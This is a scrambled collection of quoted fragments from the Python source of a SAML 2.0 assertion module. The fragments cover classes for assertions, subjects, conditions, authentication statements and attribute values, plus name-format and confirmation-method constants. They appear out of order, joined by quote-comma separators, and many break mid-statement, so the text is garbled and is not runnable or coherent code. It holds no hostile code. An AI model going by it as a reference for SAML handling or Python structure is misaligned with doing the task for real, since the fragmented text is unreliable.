'Advice'] class AssertionType_(SamlBase): \"\"\"The", "SAML's predefined formats include: Email address, X.509 subject name, Windows", "xmlschema-instance, which contains several builtin attributes XSI_NAMESPACE = 'http://www.w3.org/2001/XMLSchema-instance' #", "consent has been given and under # what conditions #", "and not self.extension_elements: if not self.extension_attributes: raise Exception( \"Attribute value", "xsd_string in xsd_types_props else '', xsd_string ] if ':' not", "__init__(self, not_before=None, not_on_or_after=None, recipient=None, in_response_to=None, address=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "ConditionsType_.c_cardinality.copy() def conditions_from_string(xml_string): return saml2.create_class_from_xml_string(Conditions, xml_string) class AuthnStatement(AuthnStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatement", "text-value xsd_types_props = { 'string': { 'type': _str, 'to_type': _str,", "= 'DecisionType' c_namespace = NAMESPACE c_value_type = {'base': 'string', 'enumeration':", "extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.subject_locality = subject_locality", "\" \"Cannot have both <AuthnContextDecl> and <AuthnContextDeclRef>\" ) return SamlBase.verify(self)", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}ProxyRestriction'] = ( 'proxy_restriction', [ProxyRestriction]) c_cardinality['proxy_restriction'] = {\"min\": 0} c_attributes['NotBefore']", "typ.startswith('xs:'): try: self.extension_attributes['xmlns:xs'] = XS_NAMESPACE except AttributeError: self._extatt['xmlns:xs'] = XS_NAMESPACE", "def __init__(self, name_qualifier=None, sp_name_qualifier=None, format=None, sp_provided_id=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "AttributeType_, 'AttributeValue': AttributeValue, 'EncryptedAttribute': EncryptedAttribute, 'BaseIDAbstractType': BaseIDAbstractType_, 'ConditionAbstractType': ConditionAbstractType_, 'StatementAbstractType':", "= NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes = StatementAbstractType_.c_attributes.copy() c_child_order =", "self.encrypted_assertion = encrypted_assertion or [] def advice_type__from_string(xml_string): return saml2.create_class_from_xml_string(AdviceType_, xml_string)", "element \"\"\" c_tag = 'AttributeValue' c_namespace = NAMESPACE c_value_type =", "text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.base_id = base_id", "'to_type': lambda x: x, 'to_text': lambda x: x, }, '':", "text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.authn_context_class_ref = authn_context_class_ref", "xml_string) class EncryptedID(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedID element \"\"\" c_tag = 'EncryptedID'", "assertion_id_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionIDRef, xml_string) class AssertionURIRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionURIRef element \"\"\"", "condition_from_string(xml_string): return saml2.create_class_from_xml_string(Condition, xml_string) class AudienceRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestrictionType element \"\"\"", "xml_string) class AuthnContext(AuthnContextType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContext element \"\"\" c_tag = 'AuthnContext'", "# entries of xsd-types each declaring: # - a corresponding", "_str, }, 'double': { 'type': float, 'to_type': float, 'to_text': _str,", "'dateTime', False) c_child_order.extend(['subject_locality', 'authn_context']) def __init__(self, subject_locality=None, authn_context=None, authn_instant=None, session_index=None,", "instance members from the contents of the XML tree. for", "\"urn:oasis:names:tc:SAML:2.0:profiles:attribute:basic\") # an AuthnRequest is made to initiate authentication #", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Audience element \"\"\" c_tag = 'Audience' c_namespace = NAMESPACE", "( 'encrypted_attribute', [EncryptedAttribute]) c_cardinality['encrypted_attribute'] = {\"min\": 0} c_child_order.extend(['attribute', 'encrypted_attribute']) def", "xml_string) class SubjectType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectType element \"\"\" c_tag = 'SubjectType'", "{\"min\": 0, \"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthenticatingAuthority'] = ( 'authenticating_authority', [AuthenticatingAuthority])", "xml_string) class Conditions(ConditionsType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Conditions element \"\"\" c_tag = 'Conditions'", "self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.action = action or [] self.evidence", "attribute_statement_from_string, AttributeStatementType_.c_tag: attribute_statement_type__from_string, Attribute.c_tag: attribute_from_string, AttributeType_.c_tag: attribute_type__from_string, AttributeValue.c_tag: attribute_value_from_string, EncryptedAttribute.c_tag:", "been obtained implicitly CONSENT_IMPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-implicit\" # consent has been", "( 'condition', [Condition]) c_cardinality['condition'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AudienceRestriction'] = (", "[AudienceRestriction]) c_cardinality['audience_restriction'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}OneTimeUse'] = ( 'one_time_use', [OneTimeUse])", "key_info_confirmation_data_type__from_string, Conditions.c_tag: conditions_from_string, ConditionsType_.c_tag: conditions_type__from_string, Condition.c_tag: condition_from_string, AudienceRestriction.c_tag: audience_restriction_from_string, AudienceRestrictionType_.c_tag:", "attribute or [] self.encrypted_attribute = encrypted_attribute or [] def attribute_statement_type__from_string(xml_string):", "element \"\"\" c_tag = 'EncryptedAssertion' c_namespace = NAMESPACE c_children =", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Address'] = ('address', 'string', False)", "the new version is here: # https://www.oasis-open.org/committees/download.php/56776/sstc-saml-core-errata-2.0-wd-07.pdf # try: from", "typ): try: del self.extension_attributes[XSI_NIL] except (AttributeError, KeyError): pass try: self.extension_attributes[XSI_TYPE]", "NAMEID_FORMAT_WINDOWSDOMAINQUALIFIEDNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName\") # subject from a kerberos instance", "both <AuthnContextDecl> and <AuthnContextDeclRef>\" ) return SamlBase.verify(self) def authn_context_type__from_string(xml_string): return", "def assertion_uri_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionURIRef, xml_string) class SubjectConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationDataType element", "c_child_order.extend(['action', 'evidence']) def __init__(self, action=None, evidence=None, resource=None, decision=None, text=None, extension_elements=None,", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAttribute'] = ( 'encrypted_attribute', [EncryptedAttribute]) c_cardinality['encrypted_attribute'] = {\"min\": 0} c_child_order.extend(['attribute',", "= evidence self.resource = resource self.decision = decision def authz_decision_statement_type__from_string(xml_string):", "( 'advice', Advice) Assertion.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice', Advice) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++", "{\"min\": 0} c_attributes['Version'] = ('version', 'string', True) c_attributes['ID'] = ('id',", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2000/09/xmldsig#}KeyInfo'] = ('key_info', [ds.KeyInfo])", "AdviceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AdviceType element \"\"\" c_tag = 'AdviceType' c_namespace =", "'AuthnContextDeclRef': AuthnContextDeclRef, 'AuthnContextDecl': AuthnContextDecl, 'AuthenticatingAuthority': AuthenticatingAuthority, 'AuthzDecisionStatement': AuthzDecisionStatement, 'AuthzDecisionStatementType': AuthzDecisionStatementType_,", "c_tag = 'AuthnContext' c_namespace = NAMESPACE c_children = AuthnContextType_.c_children.copy() c_attributes", "= EvidenceType_.c_children.copy() c_attributes = EvidenceType_.c_attributes.copy() c_child_order = EvidenceType_.c_child_order[:] c_cardinality =", "c_tag = 'SubjectLocalityType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "xsd_types_props = { 'string': { 'type': _str, 'to_type': _str, 'to_text':", "we consider whitespace insignificant # and remove/trim/strip whitespace # and", "subject_from_string(xml_string): return saml2.create_class_from_xml_string(Subject, xml_string) #.................. # ['AuthzDecisionStatement', 'EvidenceType', 'AdviceType', 'Evidence',", "StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Attribute'] = ( 'attribute', [Attribute]) c_cardinality['attribute'] = {\"min\": 0}", "'EncryptedElementType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "'AuthnStatement': AuthnStatement, 'AuthnStatementType': AuthnStatementType_, 'SubjectLocality': SubjectLocality, 'SubjectLocalityType': SubjectLocalityType_, 'AuthnContext': AuthnContext,", "if typ.startswith('xs:'): try: self.extension_attributes['xmlns:xs'] = XS_NAMESPACE except AttributeError: self._extatt['xmlns:xs'] =", "self.address: # dotted-decimal IPv4 or RFC3513 IPv6 address if valid_ipv4(self.address)", "SubjectType_.c_cardinality.copy() def subject_from_string(xml_string): return saml2.create_class_from_xml_string(Subject, xml_string) #.................. # ['AuthzDecisionStatement', 'EvidenceType',", "Response: \" \"Cannot have both <AuthnContextDecl> and <AuthnContextDeclRef>\" ) return", "return saml2.create_class_from_xml_string(AuthnContextClassRef, xml_string) class AuthnContextDeclRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDeclRef element \"\"\" c_tag", "NameIDType_.c_child_order[:] c_cardinality = NameIDType_.c_cardinality.copy() def issuer_from_string(xml_string): return saml2.create_class_from_xml_string(Issuer, xml_string) class", "subject avaiable in encrypted format NAMEID_FORMAT_ENCRYPTED = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:encrypted\") #", "text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute =", "= {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion'] = ( 'encrypted_assertion', [EncryptedAssertion]) c_cardinality['encrypted_assertion'] =", "c_cardinality['encrypted_assertion'] = {\"min\": 0} c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion', 'encrypted_assertion']) c_any =", "= ('version', 'string', True) c_attributes['ID'] = ('id', 'ID', True) c_attributes['IssueInstant']", "= {\"min\": 0, \"max\": 1} c_cardinality['advice'] = {\"min\": 0, \"max\":", "= AuthzDecisionStatementType_.c_child_order[:] c_cardinality = AuthzDecisionStatementType_.c_cardinality.copy() def authz_decision_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatement, xml_string)", "attribute, value in iter(tree.attrib.items()): self._convert_element_attribute_to_member(attribute, value) # if we have", "elements, default to NAME_FORMAT_UNSPECIFIED as NameFormat def harvest_element_tree(self, tree): tree.attrib.setdefault('NameFormat',", "= SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionIDRef'] = ( 'assertion_id_ref', [AssertionIDRef]) c_cardinality['assertion_id_ref'] = {\"min\":", "KeyError): # the cast failed _wrong_type_value(xsd=xsd_type, value=value) if type(value) is", "= NameIDType_.c_cardinality.copy() def name_id_from_string(xml_string): return saml2.create_class_from_xml_string(NameID, xml_string) class SubjectConfirmationData(SubjectConfirmationDataType_): \"\"\"The", "= {\"min\": 0} c_child_order.extend(['authn_context_class_ref', 'authn_context_decl', 'authn_context_decl_ref', 'authenticating_authority']) def __init__(self, authn_context_class_ref=None,", "# XML-based format NAME_FORMAT_BASIC = \"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\" # dicc for avaiable", "'to_type': int, 'to_text': _str, }, 'short': { 'type': int, 'to_type':", "\"\"\" c_tag = 'AuthzDecisionStatement' c_namespace = NAMESPACE c_children = AuthzDecisionStatementType_.c_children.copy()", "authn_statement=None, authz_decision_statement=None, attribute_statement=None, version=None, id=None, issue_instant=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "= OneTimeUseType_.c_children.copy() c_attributes = OneTimeUseType_.c_attributes.copy() c_child_order = OneTimeUseType_.c_child_order[:] c_cardinality =", "authz_decision_statement_type__from_string, DecisionType_.c_tag: decision_type__from_string, Action.c_tag: action_from_string, ActionType_.c_tag: action_type__from_string, Evidence.c_tag: evidence_from_string, EvidenceType_.c_tag:", "'{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextClassRef'] = ( 'authn_context_class_ref', AuthnContextClassRef) c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDecl'] = ( 'authn_context_decl', AuthnContextDecl)", "'string'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:]", "base64encode else x ), }, 'anyType': { 'type': type(value), 'to_type':", "address NAMEID_FORMAT_EMAILADDRESS = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\") # subject as x509 key", "SubjectConfirmation, 'SubjectConfirmationType': SubjectConfirmationType_, 'SubjectConfirmationData': SubjectConfirmationData, 'SubjectConfirmationDataType': SubjectConfirmationDataType_, 'KeyInfoConfirmationDataType': KeyInfoConfirmationDataType_, 'Conditions':", "the instance members from the contents of the XML tree.", "self.sp_name_qualifier = sp_name_qualifier class NameIDType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameIDType element \"\"\" c_tag", "subject_confirmation_data_type__from_string, KeyInfoConfirmationDataType_.c_tag: key_info_confirmation_data_type__from_string, Conditions.c_tag: conditions_from_string, ConditionsType_.c_tag: conditions_type__from_string, Condition.c_tag: condition_from_string, AudienceRestriction.c_tag:", "SubjectLocalityType_.verify(self) def subject_locality_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocality, xml_string) class AuthnContextType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextType", "the category the subject is in # custom subject NAMEID_FORMAT_UNSPECIFIED", "Audience.c_tag: audience_from_string, OneTimeUse.c_tag: one_time_use_from_string, OneTimeUseType_.c_tag: one_time_use_type__from_string, ProxyRestriction.c_tag: proxy_restriction_from_string, ProxyRestrictionType_.c_tag: proxy_restriction_type__from_string,", "OneTimeUseType_.c_attributes.copy() c_child_order = OneTimeUseType_.c_child_order[:] c_cardinality = OneTimeUseType_.c_cardinality.copy() def one_time_use_from_string(xml_string): return", "Evidence(EvidenceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Evidence element \"\"\" c_tag = 'Evidence' c_namespace =", "xml_string) class EncryptedAssertion(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAssertion element \"\"\" c_tag = 'EncryptedAssertion'", "'anyType'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:]", "proxy_restriction=None, not_before=None, not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "= \"urn:oasis:names:tc:SAML:2.0:cm:holder-of-key\" # the 3rd party is identified by subject", "AssertionType_.c_attributes.copy() c_child_order = AssertionType_.c_child_order[:] c_cardinality = AssertionType_.c_cardinality.copy() def assertion_from_string(xml_string): return", "AttributeStatementType_.c_child_order[:] c_cardinality = AttributeStatementType_.c_cardinality.copy() def attribute_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatement, xml_string) class", "SCM_HOLDER_OF_KEY = \"urn:oasis:names:tc:SAML:2.0:cm:holder-of-key\" # the 3rd party is identified by", "{\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnStatement'] = ( 'authn_statement', [AuthnStatement]) c_cardinality['authn_statement'] = {\"min\":", "except (KeyError, AttributeError): try: return self._extatt[XSI_TYPE] except KeyError: return \"\"", "= attribute_statement or [] self.version = version self.id = id", "[] self.attribute_statement = attribute_statement or [] self.version = version self.id", "xsd_type_props.get('to_text', str) # cast to correct type before type-checking if", "def assertion_id_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionIDRef, xml_string) class AssertionURIRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionURIRef element", "xml_string) class KeyInfoConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:KeyInfoConfirmationDataType element \"\"\" c_tag = 'KeyInfoConfirmationDataType'", "element\") if self.authn_statement and not self.subject: raise MustValueError( \"An assertion", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContext'] = ( 'authn_context', AuthnContext) c_attributes['AuthnInstant'] = ('authn_instant', 'dateTime', True)", "[] self.assertion_uri_ref = assertion_uri_ref or [] self.assertion = assertion or", "c_child_order = EvidenceType_.c_child_order[:] c_cardinality = EvidenceType_.c_cardinality.copy() def evidence_from_string(xml_string): return saml2.create_class_from_xml_string(Evidence,", "self.extension_attributes = {XSI_NIL: 'true'} elif XSI_TYPE in self.extension_attributes: del self.extension_attributes[XSI_TYPE]", "= signature self.subject = subject self.conditions = conditions self.advice =", "If no statement MUST contain a subject element if self.attribute_statement", "'string', False), ('SPNameQualifier', 'string', False), ] ELEMENT_FROM_STRING = { BaseID.c_tag:", "extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.key_info = key_info or", "AuthnStatementType_.c_tag: authn_statement_type__from_string, SubjectLocality.c_tag: subject_locality_from_string, SubjectLocalityType_.c_tag: subject_locality_type__from_string, AuthnContext.c_tag: authn_context_from_string, AuthnContextType_.c_tag: authn_context_type__from_string,", "\"lax\", \"minOccurs\": \"0\", \"maxOccurs\": \"unbounded\"} c_any_attribute = {\"namespace\": \"##other\", \"processContents\":", "extension_attributes=extension_attributes) self.namespace = namespace def action_type__from_string(xml_string): return saml2.create_class_from_xml_string(ActionType_, xml_string) class", "conditions=None, advice=None, statement=None, authn_statement=None, authz_decision_statement=None, attribute_statement=None, version=None, id=None, issue_instant=None, text=None,", "SubjectConfirmationType_.c_cardinality.copy() def subject_confirmation_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmation, xml_string) class ConditionsType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionsType", "category the subject is in # custom subject NAMEID_FORMAT_UNSPECIFIED =", "c_attributes['NameFormat'] = ('name_format', 'anyURI', False) c_attributes['FriendlyName'] = ('friendly_name', 'string', False)", "= EncryptedElementType_.c_cardinality.copy() def encrypted_id_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedID, xml_string) class Issuer(NameIDType_): \"\"\"The", "methods(scm), can be issued, besides the subject itself # by", "'{ns}:{type}'.format(ns=xsd_ns, type=xsd_type) if xsd_ns else xsd_type if xsd_type else '')", "'base64Binary' if base64encode else self.get_type() or type_to_xsd.get(type(value))) xsd_ns, xsd_type =", "type #self.clear_type() self.set_text(text) # if we have added a text", "= name_id self.encrypted_id = encrypted_id self.subject_confirmation_data = subject_confirmation_data self.method =", "return saml2.create_class_from_xml_string(SubjectConfirmationType_, xml_string) class AudienceRestriction(AudienceRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestriction element \"\"\" c_tag", "NAMESPACE c_children = AuthnContextType_.c_children.copy() c_attributes = AuthnContextType_.c_attributes.copy() c_child_order = AuthnContextType_.c_child_order[:]", "extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.condition = condition or", "extension_elements=None, extension_attributes=None): self._extatt = {} SamlBase.__init__(self, text=None, extension_elements=extension_elements, extension_attributes=extension_attributes) if", "[Audience]) c_cardinality['audience'] = {\"min\": 1} c_child_order.extend(['audience']) def __init__(self, audience=None, text=None,", "= subject_locality self.authn_context = authn_context self.authn_instant = authn_instant self.session_index =", "= 'AuthzDecisionStatementType' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes =", "xml_string) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ EvidenceType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) Evidence.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] =", "c_tag = 'AuthzDecisionStatement' c_namespace = NAMESPACE c_children = AuthzDecisionStatementType_.c_children.copy() c_attributes", "class EvidenceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EvidenceType element \"\"\" c_tag = 'EvidenceType' c_namespace", "name_id=None, encrypted_id=None, subject_confirmation_data=None, method=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "'string', 'enumeration': ['Permit', 'Deny', 'Indeterminate']} c_children = SamlBase.c_children.copy() c_attributes =", "'EncryptedAssertion': EncryptedAssertion, 'Statement': Statement, 'AuthnStatement': AuthnStatement, 'AuthnStatementType': AuthnStatementType_, 'SubjectLocality': SubjectLocality,", "one_time_use_from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUse, xml_string) class ProxyRestriction(ProxyRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestriction element \"\"\"", "name=None, name_format=NAME_FORMAT_URI, friendly_name=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "'dateTime', True) c_attributes['SessionIndex'] = ('session_index', 'string', False) c_attributes['SessionNotOnOrAfter'] = ('session_not_on_or_after',", "[Action]) c_cardinality['action'] = {\"min\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Evidence'] = ( 'evidence', Evidence)", "'SubjectConfirmation': SubjectConfirmation, 'SubjectConfirmationType': SubjectConfirmationType_, 'SubjectConfirmationData': SubjectConfirmationData, 'SubjectConfirmationDataType': SubjectConfirmationDataType_, 'KeyInfoConfirmationDataType': KeyInfoConfirmationDataType_,", "base should not have extension attributes\" ) if self.extension_attributes[XSI_NIL] !=", "xsd_string ] if ':' not in xsd_string else xsd_string.split(':', 1))", "self._convert_element_attribute_to_member(attribute, value) # if we have added children to this", "XS_NAMESPACE = 'http://www.w3.org/2001/XMLSchema' # xmlschema-instance, which contains several builtin attributes", "= encrypted_id self.subject_confirmation = subject_confirmation or [] def subject_type__from_string(xml_string): return", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.encrypted_data = encrypted_data self.encrypted_key = encrypted_key or", "= ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Audience'] = ('audience', [Audience]) c_cardinality['audience']", "{\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAttribute'] = ( 'encrypted_attribute', [EncryptedAttribute]) c_cardinality['encrypted_attribute'] = {\"min\":", "element \"\"\" c_tag = 'EncryptedElementType' c_namespace = NAMESPACE c_children =", "xml_string) class StatementAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:StatementAbstractType element \"\"\" c_tag = 'StatementAbstractType'", "'EncryptedID' c_namespace = NAMESPACE c_children = EncryptedElementType_.c_children.copy() c_attributes = EncryptedElementType_.c_attributes.copy()", "NameIDType_.c_attributes.copy() c_child_order = NameIDType_.c_child_order[:] c_cardinality = NameIDType_.c_cardinality.copy() def name_id_from_string(xml_string): return", "self.name = name self.name_format = name_format self.friendly_name = friendly_name #", "not valid_type: _wrong_type_value(xsd=xsd_type, value=value) text = to_text(value) self.set_type( '{ns}:{type}'.format(ns=xsd_ns, type=xsd_type)", "AdviceType_.c_child_order[:] c_cardinality = AdviceType_.c_cardinality.copy() def advice_from_string(xml_string): return saml2.create_class_from_xml_string(Advice, xml_string) #", "XSI_NAMESPACE # idp and sp communicate usually about a subject(NameID)", "urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestriction element \"\"\" c_tag = 'AudienceRestriction' c_namespace = NAMESPACE c_children", "EncryptedID.c_tag: encrypted_id_from_string, Issuer.c_tag: issuer_from_string, AssertionIDRef.c_tag: assertion_id_ref_from_string, AssertionURIRef.c_tag: assertion_uri_ref_from_string, Assertion.c_tag: assertion_from_string,", "= \"Deny\" # the SAML authority cannot determine if the", "from saml2 import SamlBase import six from saml2 import xmldsig", "( 'action', [Action]) c_cardinality['action'] = {\"min\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Evidence'] = (", "def subject_locality_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocality, xml_string) class AuthnContextType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextType element", "try: self.extension_attributes[XSI_TYPE] = typ except AttributeError: self._extatt[XSI_TYPE] = typ if", "c_attributes = ActionType_.c_attributes.copy() c_child_order = ActionType_.c_child_order[:] c_cardinality = ActionType_.c_cardinality.copy() def", "c_child_order = AuthnStatementType_.c_child_order[:] c_cardinality = AuthnStatementType_.c_cardinality.copy() def authn_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatement,", "statement or [] self.authn_statement = authn_statement or [] self.authz_decision_statement =", "not self.extension_attributes: raise Exception( \"Attribute value base should not have", "''] if xsd_string == '' else [ XSD if xsd_string", "if self.authn_statement and not self.subject: raise MustValueError( \"An assertion with", "= 'Advice' c_namespace = NAMESPACE c_children = AdviceType_.c_children.copy() c_attributes =", "SubjectLocality, 'SubjectLocalityType': SubjectLocalityType_, 'AuthnContext': AuthnContext, 'AuthnContextType': AuthnContextType_, 'AuthnContextClassRef': AuthnContextClassRef, 'AuthnContextDeclRef':", "Attribute, 'AttributeType': AttributeType_, 'AttributeValue': AttributeValue, 'EncryptedAttribute': EncryptedAttribute, 'BaseIDAbstractType': BaseIDAbstractType_, 'ConditionAbstractType':", "{'base': 'string'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order =", "= AttributeType_.c_children.copy() c_attributes = AttributeType_.c_attributes.copy() c_child_order = AttributeType_.c_child_order[:] c_cardinality =", "False) c_child_order.extend(['condition', 'audience_restriction', 'one_time_use', 'proxy_restriction']) def __init__(self, condition=None, audience_restriction=None, one_time_use=None,", "proxy_restriction_type__from_string, Advice.c_tag: advice_from_string, AdviceType_.c_tag: advice_type__from_string, EncryptedAssertion.c_tag: encrypted_assertion_from_string, Statement.c_tag: statement_from_string, AuthnStatement.c_tag:", "ProxyRestrictionType_.c_attributes.copy() c_child_order = ProxyRestrictionType_.c_child_order[:] c_cardinality = ProxyRestrictionType_.c_cardinality.copy() def proxy_restriction_from_string(xml_string): return", "self.friendly_name = friendly_name # when consuming such elements, default to", "= 'Issuer' c_namespace = NAMESPACE c_children = NameIDType_.c_children.copy() c_attributes =", "[AuthzDecisionStatement]) c_cardinality['authz_decision_statement'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeStatement'] = ( 'attribute_statement', [AttributeStatement])", "= EvidenceType_.c_child_order[:] c_cardinality = EvidenceType_.c_cardinality.copy() def evidence_from_string(xml_string): return saml2.create_class_from_xml_string(Evidence, xml_string)", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Issuer element \"\"\" c_tag = 'Issuer' c_namespace = NAMESPACE", "subject_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectType_, xml_string) class Conditions(ConditionsType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Conditions element \"\"\"", "c_namespace = NAMESPACE c_children = ActionType_.c_children.copy() c_attributes = ActionType_.c_attributes.copy() c_child_order", "x509 key NAMEID_FORMAT_X509SUBJECTNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:X509SubjectName\") # subject as windows", "'Assertion', 'AssertionType', 'AuthzDecisionStatementType', 'Advice'] class EvidenceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EvidenceType element \"\"\"", "saml2.create_class_from_xml_string(ConditionsType_, xml_string) class AuthnStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatementType element \"\"\" c_tag =", "\"If no statement MUST contain a subject element\") if self.authn_statement", "c_tag = 'AttributeType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "}, 'short': { 'type': int, 'to_type': int, 'to_text': _str, },", "NAME_FORMAT_BASIC = \"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\" # dicc for avaiable formats NAME_FORMATS_SAML2 =", "\"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedID'] = ( 'encrypted_id', EncryptedID) c_cardinality['encrypted_id'] = {\"min\":", "AttributeType_.c_attributes.copy() c_child_order = AttributeType_.c_child_order[:] c_cardinality = AttributeType_.c_cardinality.copy() def attribute_from_string(xml_string): return", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionURIRef'] = ( 'assertion_uri_ref', [AssertionURIRef]) c_cardinality['assertion_uri_ref'] = {\"min\": 0} c_cardinality['assertion']", "= ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:kerberos\") # subject as name NAMEID_FORMAT_ENTITY = (", "0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Conditions'] = ( 'conditions', Conditions) c_cardinality['conditions'] =", "if 